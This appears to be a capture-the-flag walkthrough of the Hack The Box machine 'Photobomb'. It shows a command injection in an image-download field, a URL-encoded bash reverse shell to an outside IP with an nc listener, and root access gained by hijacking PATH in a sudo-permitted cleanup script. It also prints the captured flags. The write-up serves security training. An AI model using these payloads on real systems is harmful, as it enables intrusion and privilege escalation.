0xc0rvu5.github.io

View on GitHub

Upon initial enumeration on photobomb.htb within the page source code you can see there is a script running in the background photobomb.js image

Going to the Sources section in the developer tools you can find hard-coded credentials: image

sudo tcpdump -i tun0 icmp
photo=wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg&filetype=jpg;ping+-c+10+your_ip&dimensions=30x20
bash -c 'exec bash -i &>/dev/tcp/10.10.16.33/4444 <&1'
bash+-c+%27exec+bash+-i+%26%3E%2Fdev%2Ftcp%2F10.10.16.33%2F4444+%3C%261%27
rlwrap nc -lvnp 4444
cd
cat user.txt

07521826fabfc84c3cd310cc488f2f3f
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
cat cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Let’s install linpeas.sh

cd /tmp
cd ~/Downloads/temp
python3 -m http.server
wget http://your_ip:8000/linpeas.sh
chmod 700 linpeas.sh
./linpeas.sh > /home/wizard/out.file
*/5 * * * * sudo /opt/cleanup.sh

image

find / -writable -type d 2>/dev/null

/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service
/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/dbus.socket
/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/init.scope
/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service/gpg-agent.service
/sys/fs/cgroup/unified/user.slice/user-1000.slice/user@1000.service
/sys/fs/cgroup/unified/user.slice/user-1000.slice/user@1000.service/dbus.socket
/sys/fs/cgroup/unified/user.slice/user-1000.slice/user@1000.service/init.scope
/sys/fs/cgroup/unified/user.slice/user-1000.slice/user@1000.service/gpg-agent.service
/dev/mqueue
/dev/shm
/tmp
/tmp/.XIM-unix
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/.Test-unix
/tmp/tmux-1000
/var/tmp
/var/crash
/home/wizard
/home/wizard/.gem
/home/wizard/.gem/specs
/home/wizard/.gem/specs/rubygems.org%443
/home/wizard/.gem/specs/rubygems.org%443/quick
/home/wizard/.gem/specs/rubygems.org%443/quick/Marshal.4.8
/home/wizard/.gem/ruby
/home/wizard/.gem/ruby/2.7.0
/home/wizard/.gem/ruby/2.7.0/cache
/home/wizard/photobomb
/home/wizard/photobomb/public
/home/wizard/photobomb/public/ui_images
/home/wizard/photobomb/source_images
/home/wizard/photobomb/resized_images
/home/wizard/photobomb/log
/home/wizard/.cache
/home/wizard/.local
/home/wizard/.local/share
/home/wizard/.local/share/nano
/home/wizard/.gnupg
/home/wizard/.gnupg/private-keys-v1.d
/proc/22684/task/22684/fd
/proc/22684/fd
/proc/22684/map_files
/run/user/1000
/run/user/1000/gnupg
/run/user/1000/systemd
/run/user/1000/systemd/units
/run/screen
/run/lock
cd temp
echo "/bin/bash" > find
chmod 777 find
sudo PATH=/tmp:$PATH /opt/cleanup.sh
cat /home/wizard/user.txt

07521826fabfc84c3cd310cc488f2f3f

cat /root/root.txt

d223b7b2cabac9d71542dc9e7481222f

#hacking